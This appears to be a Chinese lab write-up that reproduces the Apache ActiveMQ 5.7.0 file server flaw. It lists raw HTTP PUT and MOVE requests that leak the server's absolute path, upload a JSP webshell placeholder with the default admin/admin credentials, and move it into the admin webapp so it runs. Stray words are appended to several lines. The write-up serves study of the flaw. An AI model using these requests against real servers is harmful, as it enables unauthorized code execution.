ActiveMQ漏洞复现(不安全的http方法具体利用)

一、搭建ActiveMQ环境

  • 环境准备
jre安装及环境变量的配置:
https://blog.csdn.net/tiantang_1986/article/details/53894947
  • 下载有漏洞版本的ActiveMQ(我用的5.7.0)
http://activemq.apache.org/download-archives.html
  • 解压后进入bin目录,发现有win32和win64两个文件夹,这2个文件夹分别对应windows32位和windows64位操做系统的启动脚本。
    这里写图片描述
    打开对应位数操做系统的启动文件
  • 启动成功后访问url:http://localhost:8161/admin
    这里写图片描述
    环境搭建成功
    注:
若是访问连接时跳出登录页面采用默认帐户密码admin/admin登录就能够了,我没有遇到登录界面,也没去研究缘由了。

二、漏洞复现

一、启用不安全的http方法
a. 产生缘由html

>1.ActiveMQ默认开启PUT MOVE等不安全的http方法
>2.ActiveMQ的file server容许客户经过PUT上传文件

b. 复现利用web

1.刷新页面抓包,放入repeater里,构造poyload,测试是否存在漏洞
2.payload原理:PUT一个不存在的文件目录,file server会返回文件的绝对路径shell

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: ip:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test

结果:
这里写图片描述
返回包中泄露了文件路径apache

3.经过PUT方式向files ever中写入一个测试文件windows

PUT /fileserver/shell.jsp HTTP/1.1
Host: ip:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code. //(文件内容)

结果:
这里写图片描述安全

4.查看本地文件app

这里写图片描述

5.经过MOVE将文件移动到admin目录下webapp

MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:文件绝对路径/webapps/admin/shell.jsp
Host: ip:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

Content-Length: 0

这里写图片描述

6.查看admin目录jsp

这里写图片描述

7.测试MOVE方法的缘由:svg

>1.练习MOVE方法的使用
>2.上传shell时,file server中是没有执行权限的,须要移动到admin中才能执行shell

结束。。。。。